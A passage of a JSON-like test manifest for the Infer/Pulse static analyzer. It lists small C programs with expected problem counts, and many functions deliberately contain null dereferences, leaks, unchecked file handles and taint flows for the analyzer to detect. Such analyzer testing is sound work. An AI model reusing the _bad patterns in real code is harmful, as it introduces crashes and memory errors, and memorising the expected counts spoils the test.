*/\n\n#include \n#include \n\n// We should report here no NPE in the first dereference, but also we\n// should report the second NPE as it is reachable\nint report_on_line_offset_6_bad(int* p) {\n assert(p);\n if (!p) {\n *p = 42; // unreachable\n }\n int* q = NULL;\n *q = 42;\n}\n" + }, + { + "testname": "assert_failure.c", + "testlanguage": "c", + "expected-problems": 23, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\n// pulse does not report assertion failures yet so all these are FN\n\nvoid simple_check(int x) { assert(x < 3); }\n\nvoid simple_assertion_failure() {\n int x = 4;\n simple_check(x);\n}\n\nvoid no_assertion_failure() {\n int x = 2;\n simple_check(x);\n}\n\ntypedef struct {\n int value;\n} node;\n\nvoid check_node(node* n) { assert(n->value < 3); }\n\nnode* assertion_failure_with_heap() {\n node* n = malloc(sizeof(node));\n if (n != NULL) {\n n->value = 4;\n check_node(n);\n }\n return n;\n}\n\nnode* no_assertion_failure_with_heap() {\n node* n = malloc(sizeof(node));\n if (n != NULL) {\n n->value = 2;\n check_node(n);\n }\n return n;\n}\n\nvoid __infer_fail(char*);\n\nvoid my_assert(int x) {\n if (!x) {\n __infer_fail(\"ASSERTION_FAILURE\");\n }\n}\n\nvoid should_not_report_assertion_failure(int x) { my_assert(x); }\n\nvoid should_report_assertion_failure(int x) {\n x = 0;\n my_assert(x);\n}\n\nint global;\n\nvoid check_global() { assert(global != 0); }\n\nvoid skip() {}\n\nvoid assignment_after_check() {\n check_global();\n global = 0;\n skip();\n}\n\nvoid assignemt_before_check() {\n global = 0;\n check_global();\n}\n\nvoid failure_on_both_branches(int x) {\n if (x > 3) {\n simple_check(x);\n } else {\n simple_check(42);\n }\n}\n" + }, + { + "testname": "cleanup_attribute.c", + "testlanguage": "c", + "expected-problems": 14, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nvoid cleanup_char(char** x) { free(*x); }\n\nvoid cleanup_int(int** x) { free(*x); }\n\nvoid no_cleanup(int** x) { /* nothing */ }\n\nvoid cleanup_malloc_ok() {\n __attribute__((cleanup(cleanup_int))) int* x;\n // attribute cleanup is done on *x not x, resulting in NPE, Uninit, and\n // memleak FPs\n x = malloc(sizeof(int));\n if (x != NULL) {\n *x = 10;\n }\n /* x goes out of scope. Cleanup function called - no leak */\n}\n\nvoid FN_wrong_cleanup_malloc_bad() {\n // no_cleanup does nothing, hence there is a leak\n __attribute__((cleanup(no_cleanup))) int* x;\n x = malloc(sizeof(int));\n}\n\n// related to https://github.com/facebook/infer/issues/8\nvoid cleanup_string_ok() {\n __attribute__((cleanup(cleanup_char))) char* s;\n s = strdup(\"demo string\");\n /* s goes out of scope. Cleanup function called - no leak */\n}\n" + }, + { + "testname": "compound_literal.c", + "testlanguage": "c", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct point {\n int x;\n int y;\n};\n\nint return_zero() { return ((struct point){.y = 32, .x = 0}).x; }\n\nint detect_zero_bad() {\n if (return_zero() == 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nint detect_zero_ok() {\n if (return_zero() != 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n" + }, + { + "testname": "dangling_deref.c", + "testlanguage": "c", + "expected-problems": 16, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nint* set42(int* x) {\n *x = 42;\n return x;\n}\n\nvoid no_dangling_deref_ok() {\n int w, *z;\n z = set42(&w);\n}\n\nvoid no_dangling_deref1_ok() {\n int* y = malloc(sizeof(int));\n int* z;\n if (y) {\n z = set42(y);\n free(y);\n }\n}\n\nvoid dangling_deref_bad() {\n int* y;\n int* z;\n z = set42(y);\n}\n\nvoid intraproc_dangling_deref_bad() {\n int* y;\n int* z;\n *y = 42;\n z = y;\n}\n\nshort union_ok(int* param) {\n union {\n int* a;\n short* b;\n } u;\n u.a = param;\n short* p = u.b;\n return *p;\n}\n" + }, + { + "testname": "divide_by_zero.c", + "testlanguage": "c", + "expected-problems": 3, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n// pulse doesn't detect division by zero yet\nint FN_const_divide_by_zero_bad() {\n int x = 0;\n int y = 5;\n return y / x;\n}\n" + }, + { + "testname": "enum.c", + "testlanguage": "c", + "expected-problems": 5, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nenum Foo { A, B, C = 10, D, E = 1, F, G = F + C };\n\nint other_enum_main() {\n enum Foo foo_a = A;\n enum Foo foo_b = B;\n enum Foo foo_c = C;\n enum Foo foo_d = D;\n enum Foo foo_e = E;\n enum Foo foo_f = F;\n enum Foo foo_g = G;\n}\n\nvoid enum_values_ok() {\n enum Foo foo_g = G;\n enum Foo foo_a = A;\n if (foo_g != 12 || foo_a != 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid enum_values_bad() {\n enum Foo foo_g = G;\n enum Foo foo_a = A;\n if (foo_g == 12 && foo_a == 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n" + }, + { + "testname": "exit_example.c", + "testlanguage": "c", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid exit_example_bad() {\n int* p = NULL;\n if (p) {\n exit(1);\n }\n *p = 42;\n}\n\nvoid direct_exit_example_ok() {\n int* p = NULL;\n exit(1);\n *p = 42;\n}\n\nvoid exit_wrapper() { exit(1); }\n\nvoid indirect_exit_example_ok() {\n int* p = NULL;\n exit_wrapper();\n *p = 42;\n}\n\nvoid direct_abort_example_ok() {\n int* p = NULL;\n abort();\n *p = 42;\n}\n\nvoid abort_wrapper() { abort(); }\n\nvoid indirect_abort_example_ok() {\n int* p = NULL;\n abort_wrapper();\n *p = 42;\n}\n" + }, + { + "testname": "field_taint.c", + "testlanguage": "c", + "expected-problems": 31, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\ntypedef struct {\n int manipulated;\n int other;\n} structure;\n\nint int_source(void);\nvoid taint_structure(structure);\nvoid taint_manipulated(structure);\nvoid taint_manipulated_with_indirections(structure**);\n\nvoid sink_int(int);\nvoid sink_log(int);\nvoid sink_manipulated(structure);\n\nvoid sanitize_manipulated(structure);\n\nvoid propagate_to_manipulated(structure, int);\n\nvoid test_taint_field_bad(structure s) {\n taint_manipulated(s);\n sink_int(s.manipulated);\n}\n\nvoid test_taint_field_good(structure s) {\n taint_manipulated(s);\n sink_int(s.other);\n}\n\nvoid test_sink_field_bad(structure s) {\n int tainted = int_source();\n s.manipulated = tainted;\n sink_manipulated(s);\n}\n\nvoid test_sink_field_good(structure s) {\n int tainted = int_source();\n s.other = tainted;\n sink_manipulated(s);\n}\n\nvoid test_sanitize_field_bad(structure s) {\n // The 2 lines below are necessary because tainting propagates down\n // what is known in the memory at the moment of tainting and it is never\n // propagated again when a new manipulated appears. `s.other` and\n // `s.manipulated` need to have different values otherwise they are both\n // referencing the same value and sanitizing one would sanitize the other\n s.other = 2; // makes s.other exist in memory before tainting s\n s.manipulated = 1; // makes s.manipulated exist in memory before tainting s\n taint_structure(s);\n sanitize_manipulated(s);\n sink_int(s.other);\n}\n\nvoid test_sanitize_field_good(structure s) {\n s.other = 2; // makes s.other exist in memory before tainting s\n s.manipulated = 1; // makes s.manipulated exist in memory before tainting s\n taint_structure(s);\n sanitize_manipulated(s);\n sink_manipulated(s);\n}\nvoid test_propagate_to_field_bad(structure s) {\n int tainted = int_source();\n propagate_to_manipulated(s, tainted);\n sink_int(s.manipulated);\n}\n\nvoid test_propagate_to_field_good(structure s) {\n int tainted = int_source();\n propagate_to_manipulated(s, tainted);\n sink_int(s.other);\n}\n\nvoid test_taint_field_with_indirections_bad(structure s) {\n structure* s_ptr = &s;\n structure** s_ptr_ptr = &s_ptr;\n taint_manipulated_with_indirections(s_ptr_ptr);\n sink_int((**s_ptr_ptr).manipulated);\n}\n\nvoid test_taint_field_with_indirections_good(structure s) {\n structure* s_ptr = &s;\n structure** s_ptr_ptr = &s_ptr;\n taint_manipulated_with_indirections(s_ptr_ptr);\n sink_int((**s_ptr_ptr).other);\n}\n\nvoid test_taint_previously_unaccessed_field_bad(structure s) {\n taint_structure(s);\n sink_int(s.manipulated);\n}\n\nvoid test_taint_logger_policy(structure s) {\n taint_manipulated(s);\n sink_log(s.manipulated);\n}\n" + }, + { + "testname": "fopen.c", + "testlanguage": "c", + "expected-problems": 61, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n\nvoid no_fopen_check_getc_bad() {\n FILE* f;\n int i;\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n i = getc(f);\n printf(\"i =%i\\n\", i);\n fclose(f);\n}\n\nvoid fopen_check_getc_ok() {\n FILE* f;\n int i;\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n i = getc(f);\n printf(\"i =%i\\n\", i);\n fclose(f);\n }\n}\n\nvoid fopen_no_fclose_bad() {\n FILE* f;\n int i;\n f = fopen(\"some_file\", \"r\");\n if (f) {\n i = getc(f);\n printf(\"i =%i\\n\", i);\n }\n}\n\nvoid no_fopen_check_fgetc_bad() {\n FILE* f;\n int i;\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n i = fgetc(f);\n printf(\"i =%i\\n\", i);\n fclose(f);\n}\n\nvoid fopen_check_fgetc_ok() {\n FILE* f;\n int i;\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n i = fgetc(f);\n printf(\"i =%i\\n\", i);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_ungetc_bad() {\n FILE* f;\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n int i = ungetc(10, f);\n fclose(f);\n}\n\nvoid fopen_check_ungetc_ok() {\n FILE* f;\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n int i = ungetc(10, f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_fputs_bad() {\n FILE* f;\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fputs(\"blablabla\", f);\n fclose(f);\n}\n\nvoid fopen_check_fputs_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fputs(\"blablabla\", f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_fputc_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fputc(42, f);\n fclose(f);\n}\n\nvoid fopen_check_fputc_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fputc(42, f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_putc_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n putc(42, f);\n fclose(f);\n}\n\nvoid fopen_check_putc_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n putc(42, f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_fseek_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fseek(f, 7, SEEK_SET);\n fclose(f);\n}\n\nvoid fopen_check_fseek_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fseek(f, 7, SEEK_SET);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_ftell_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n ftell(f);\n fclose(f);\n}\n\nvoid fopen_check_ftell_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n ftell(f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_fgets_bad() {\n FILE* f;\n char str[60];\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fgets(str, 60, f);\n fclose(f);\n}\n\nvoid fopen_check_fgets_ok() {\n FILE* f;\n char str[60];\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fgets(str, 60, f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_rewind_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n rewind(f);\n fclose(f);\n}\n\nvoid fopen_check_rewind_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n rewind(f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_fileno_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fileno(f);\n fclose(f);\n}\n\nvoid fopen_check_fileno_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fileno(f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_clearerr_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n clearerr(f);\n fclose(f);\n}\n\nvoid fopen_check_clearerr_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n clearerr(f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_ferror_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n ferror(f);\n fclose(f);\n}\n\nvoid fopen_check_ferror_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n ferror(f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_feof_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n feof(f);\n fclose(f);\n}\n\nvoid fopen_check_feof_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n feof(f);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_fprintf_bad() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fprintf(f, \"blablabla\\n\");\n fclose(f);\n}\n\nvoid fopen_check_fprintf_ok() {\n FILE* f;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fprintf(f, \"blablabla\\n\");\n fclose(f);\n }\n}\n\n/* NOTE: Temporarily commented out since these tests make different results on\n macos arm machine.\n\nvoid no_fopen_check_vfprintf_bad() {\n FILE* f;\n va_list arg;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n vfprintf(f, \"blablabla\\n\", arg);\n fclose(f);\n}\n\nvoid fopen_check_vfprintf_ok() {\n FILE* f;\n va_list arg;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n vfprintf(f, \"blablabla\\n\", arg);\n fclose(f);\n }\n} */\n\nvoid no_fopen_check_fgetpos_bad() {\n FILE* f;\n fpos_t position;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fgetpos(f, &position);\n fclose(f);\n}\n\nvoid fopen_check_fgetpos_ok() {\n FILE* f;\n fpos_t position;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fgetpos(f, &position);\n fclose(f);\n }\n}\n\nvoid no_fopen_check_fsetpos_bad() {\n FILE* f;\n fpos_t position;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n fsetpos(f, &position);\n fclose(f);\n}\n\nvoid fopen_check_fsetpos_ok() {\n FILE* f;\n fpos_t position;\n\n f = fopen(\"this_file_doesnt_exist\", \"r\");\n if (f) {\n fsetpos(f, &position);\n fclose(f);\n }\n}\n\nchar* string_source();\nvoid sink_string(char* s);\nvoid sink_int(int c);\n\n// excepting 3 taint flows\nvoid file_operations_propagate_taint_bad() {\n char* tainted = string_source();\n FILE* file = fopen(tainted, \"r\");\n if (!file) {\n return;\n }\n char s[256];\n char* t = fgets(s, 256, file);\n sink_string(t);\n sink_int(fgetc(file));\n sink_int(getc(file));\n sink_int(fileno(file)); // benign\n fclose(file);\n}\n\nvoid fprintf_propagate_taint_bad() {\n char* tainted = string_source();\n FILE* file = fopen(\"some_file\", \"r\");\n if (!file) {\n return;\n }\n fprintf(file, \"%s\", tainted);\n sink_int(getc(file));\n fclose(file);\n}\n\nvoid fputs_propagate_taint_bad() {\n char* tainted = string_source();\n FILE* file = fopen(\"some_file\", \"r\");\n if (!file) {\n return;\n }\n fputs(tainted, file);\n sink_int(getc(file));\n fclose(file);\n}\n\nvoid FN_fputc_propagate_taint_bad() {\n char* tainted = string_source();\n FILE* file = fopen(\"some_file\", \"r\");\n if (!file) {\n return;\n }\n fputc(file, tainted[42]);\n sink_int(getc(file));\n fclose(file);\n}\n" + }, + { + "testname": "frontend.c", + "testlanguage": "c", + "expected-problems": 10, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nvoid assign_implicit_cast_ok() {\n bool* b = (bool*)malloc(sizeof(bool));\n uint16_t i = 1;\n if (b) {\n *b = true;\n *b = !i;\n if (*b) {\n int* p = 0;\n *p = 5;\n }\n free(b);\n }\n}\n\nvoid assign_implicit_cast_bad() {\n bool* b = (bool*)malloc(sizeof(bool));\n uint16_t i = 0;\n if (b) {\n *b = false;\n *b = !i;\n if (*b) {\n int* p = 0;\n *p = 5;\n }\n free(b);\n }\n}\n\nvoid assign_paren_ok() {\n bool* b = (bool*)malloc(sizeof(bool));\n int x = 42, y = 33;\n if (b) {\n *b = true;\n *b = (x == y);\n if (*b) {\n int* p = 0;\n *p = 5;\n }\n free(b);\n }\n}\n\nvoid assign_paren_bad() {\n bool* b = (bool*)malloc(sizeof(bool));\n int x = 42, y = 42;\n if (b) {\n *b = false;\n *b = (x == y);\n if (*b) {\n int* p = 0;\n *p = 5;\n }\n free(b);\n }\n}\n" + }, + { + "testname": "frontend_compound_literal.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nstruct point {\n int x;\n int y;\n};\n\nvoid init_with_compound_literal_npe_bad() {\n struct point p = (struct point){32, 52};\n if (p.x == 32) {\n int* pointer = NULL;\n *pointer = 42;\n }\n}\n\nvoid init_with_compound_literal_npe_good() {\n struct point p = (struct point){32, 52};\n if (p.x == 1) {\n int* pointer = NULL;\n *pointer = 42;\n }\n}\n" + }, + { + "testname": "frontend_struct_initlistexpr.c", + "testlanguage": "c", + "expected-problems": 26, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\ntypedef struct Point {\n int x;\n int y;\n} Point;\n\nint return_5() { return 5; }\n\nvoid init_Point() { struct Point p = {1, return_5() + 3}; }\n\nint point_coords_set_correctly_npe_bad(Point* p) {\n *p = (Point){4, 5};\n int* pointer = NULL;\n if (p->x == 4) {\n return *pointer;\n } else\n return 0;\n}\n\nint point_coords_set_correctly_npe_good(Point* p) {\n *p = (Point){4, 5};\n int* pointer = NULL;\n if (p->x == 1) {\n return *pointer;\n } else\n return 0;\n}\n\nstruct Employee {\n int ssn;\n float salary;\n struct date {\n int date;\n int month;\n int year;\n } doj;\n} emp1;\n\nint field_set_correctly_npe_bad() {\n struct Employee e = {12, 3000.50, 12, 12, 2010};\n int* p = NULL;\n if (e.ssn == 12) {\n return *p;\n } else\n return 0;\n}\n\nint field_set_correctly_npe_good() {\n struct Employee e = {12, 3000.50, 12, 12, 2010};\n int* p = NULL;\n if (e.ssn == 1) {\n return *p;\n } else\n return 0;\n}\n\nstruct dotdot {\n int a;\n int b;\n};\n\nstruct dot {\n struct dotdot x;\n int y;\n};\nstruct rect {\n struct dot origin;\n int z;\n int size;\n};\n\ntypedef struct rect rect;\n\nint implicit_expr_set_correctly_npe_bad() {\n rect imageDrawRect;\n imageDrawRect = (rect){.size = 5};\n int* p = NULL;\n if (imageDrawRect.origin.x.a == 0) {\n return *p;\n } else\n return 0;\n}\n\nint implicit_expr_set_correctly_npe_good() {\n rect imageDrawRect;\n imageDrawRect = (rect){.size = 5};\n int* p = NULL;\n if (imageDrawRect.origin.x.a == 1) {\n return *p;\n } else\n return 0;\n}\n" + }, + { + "testname": "funptr.c", + "testlanguage": "c", + "expected-problems": 112, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid do_nothing(int** _ptr) { return; }\n\nvoid assign_NULL(int** ptr) { *ptr = NULL; }\n\nvoid call_funptr(void (*funptr)(int**), int** ptr) { (*funptr)(ptr); }\n\nvoid call_call_funptr(void (*funptr)(int**), int** ptr) {\n call_funptr(funptr, ptr);\n}\n\n// Basic case: specialized in pre-analysis\n\nvoid test_syntactic_specialization_bad(int* ptr) {\n call_call_funptr(&assign_NULL, &ptr);\n *ptr = 42; // NULL dereference here\n}\n\n// Specialize over returned funptr\n\nvoid (*return_funptr(void))(int**) { return &assign_NULL; }\n\nvoid test_returned_funptr_specialization_bad(int* ptr) {\n void (*funptr)(int**) = return_funptr();\n call_call_funptr(funptr, &ptr);\n *ptr = 42; // NULL dereference here\n}\n\n// Playing around with conditions\n\nint funptr_if_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_NULL;\n } else {\n funptr = &do_nothing;\n }\n (*funptr)(&ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nint funptr_if_good() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &do_nothing;\n } else {\n funptr = &assign_NULL;\n }\n (*funptr)(&ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nint funptr_else_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (x) {\n funptr = &do_nothing;\n } else {\n funptr = &assign_NULL;\n }\n (*funptr)(&ptr); // Calling funptr assigned in else branch\n return *ptr;\n}\n\nint funptr_else_good() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (x) {\n funptr = &assign_NULL;\n } else {\n funptr = &do_nothing;\n }\n (*funptr)(&ptr); // Calling funptr assigned in else branch\n return *ptr;\n}\n\nint funptr_conditional_call_bad(int x) {\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_NULL;\n } else {\n funptr = &do_nothing;\n }\n (*funptr)(&ptr);\n return *ptr;\n}\n\nvoid apply_funptr_with_intptrptr(void (*funptr)(int**), int** ptr) {\n (*funptr)(ptr);\n}\n\nint funptr_apply_funptr_with_intptrptr_specialized_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_NULL;\n } else {\n funptr = &do_nothing;\n }\n apply_funptr_with_intptrptr(funptr,\n &ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nint funptr_apply_funptr_with_intptrptr_specialized_good() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &do_nothing;\n } else {\n funptr = &assign_NULL;\n }\n apply_funptr_with_intptrptr(funptr,\n &ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nvoid apply_funptr_with_intptrptr_and_after(void (*funptr)(int**),\n void (*after)(int**),\n int** ptr) {\n int x = 0;\n if (x) {\n funptr = &do_nothing;\n }\n apply_funptr_with_intptrptr(funptr, ptr);\n (*after)(ptr);\n}\n\nvoid dereference_dereference_ptr(int** ptr) { int x = **ptr; }\n\nint funptr_apply_funptr_with_intptrptr_and_after_specialized_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n void (*after)(int**);\n if (!x) {\n funptr = &assign_NULL;\n after = &dereference_dereference_ptr;\n } else {\n funptr = &do_nothing;\n after = &do_nothing;\n }\n apply_funptr_with_intptrptr_and_after(\n funptr,\n after,\n &ptr); // Calling funptr assigned in if branch. NPE when calling after\n return *ptr;\n}\n\nint funptr_apply_funptr_with_intptrptr_and_after_respecialized_bad() {\n int x = 0;\n int* ptr = &x;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_NULL;\n } else {\n funptr = &do_nothing;\n }\n apply_funptr_with_intptrptr_and_after(\n funptr,\n &dereference_dereference_ptr,\n &ptr); // Calling funptr assigned in if branch\n return *ptr;\n}\n\nvoid conditionnaly_apply_funptr_with_intptrptr(int x,\n int** ptr,\n void (*funptr)(int** ptr)) {\n if (x) {\n (*funptr)(ptr);\n }\n *ptr = NULL;\n}\n\nint funptr_conditionnaly_apply_funptr_with_intptrptr_unspecialized_bad() {\n int x = 0;\n int* ptr = NULL;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_NULL;\n } else {\n funptr = &do_nothing;\n }\n conditionnaly_apply_funptr_with_intptrptr(\n x, &ptr, funptr); // funptr is not called; function is not specialized\n return *ptr;\n}\n\nint funptr_conditionnaly_apply_funptr_with_intptrptr_specialized_bad() {\n int x = 1;\n int* ptr = NULL;\n void (*funptr)(int**);\n if (!x) {\n funptr = &assign_NULL;\n } else {\n funptr = &do_nothing;\n }\n conditionnaly_apply_funptr_with_intptrptr(\n x, &ptr, funptr); // Calling funptr assigned in else branch\n return *ptr;\n}\n\n// Playing around with structures\n\ntypedef struct FunPtrCallback {\n void (*f)(int**);\n} callback_s;\n\nvoid set_callback(callback_s* callback, void (*f)(int**)) { callback->f = f; }\nvoid apply_callback(callback_s* callback, int** ptr) { (*callback->f)(ptr); }\n\nvoid test_assign_NULL_callback_bad(int* ptr) {\n callback_s callback = {.f = &assign_NULL};\n apply_callback(&callback, &ptr);\n *ptr = 42; // NULL dereference here\n}\n\nvoid test_do_nothing_callback_good(int* ptr) {\n callback_s callback = {.f = &do_nothing};\n apply_callback(&callback, &ptr);\n *ptr = 42; // latent NULL dereference here\n}\n\nvoid test_update_callback_bad(callback_s* callback, int* ptr) {\n set_callback(callback, &assign_NULL);\n apply_callback(callback, &ptr);\n *ptr = 42; // NULL dereference here\n}\n\nvoid test_update_callback_good(callback_s* callback, int* ptr) {\n set_callback(callback, &do_nothing);\n apply_callback(callback, &ptr);\n *ptr = 42; // latent NULL dereference here\n}\n" + }, + { + "testname": "getcwd.c", + "testlanguage": "c", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\n#define BUFFER_SIZE 16\n\nchar getcwd_ok() {\n char* cwd = getcwd(NULL, 0);\n if (cwd != NULL) {\n char result = cwd[0];\n free(cwd);\n return result;\n }\n char buf[BUFFER_SIZE];\n cwd = getcwd(&buf, BUFFER_SIZE);\n if (cwd != NULL) {\n return cwd[0];\n }\n return 'a';\n}\n\nchar getcwd_no_buf_no_check_bad() {\n char* cwd = getcwd(NULL, 0);\n char result = cwd[0];\n free(cwd);\n return result;\n}\n\nchar getcwd_no_buf_no_free_bad() {\n char* cwd = getcwd(NULL, 0);\n if (cwd != NULL) {\n return cwd[0];\n }\n return 'a';\n}\n\nchar getcwd_no_check_bad() {\n char buf[BUFFER_SIZE];\n char* cwd = getcwd(&buf, BUFFER_SIZE);\n return cwd[0];\n}\n" + }, + { + "testname": "initlistexpr.c", + "testlanguage": "c", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nint array_init_bad() {\n int t[2][3][2] = {{{1, 1}, {2, 2}, {3, 3}}, {{4, 4}, {5, 5}, {1, 0}}};\n if (t[0][1][0] == 2 && t[1][2][1] == 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nint array_init_ok() {\n int t[2][3][2] = {{{1, 1}, {2, 2}, {3, 3}}, {{4, 4}, {5, 5}, {1, 0}}};\n if (t[0][1][0] != 2 || t[1][2][1] != 0) {\n int* p = NULL;\n *p = 42;\n }\n}\n" + }, + { + "testname": "integers.c", + "testlanguage": "c", + "expected-problems": 33, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nvoid even_cannot_be_odd_local_ok(int y) {\n int x = y;\n if (x + x == 5) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid even_cannot_be_odd_parameter_ok(int x) {\n if (x + x == 5) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid even_cannot_be_odd_float_conv_ok() {\n int x = random();\n if (x + x == (int)5.5) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid FN_even_can_be_even_float_conv_bad() {\n int x = random();\n if (x + x == (int)6.5) {\n int* p = NULL;\n *p = 42;\n }\n}\n\nvoid FN_int_conversions_feasible_bad() {\n int x = random();\n int y = 3 / 2;\n int z = (int)1.234; // SIL ignores the cast so we get a contradiction here\n int w = x / 2;\n if (w == 5 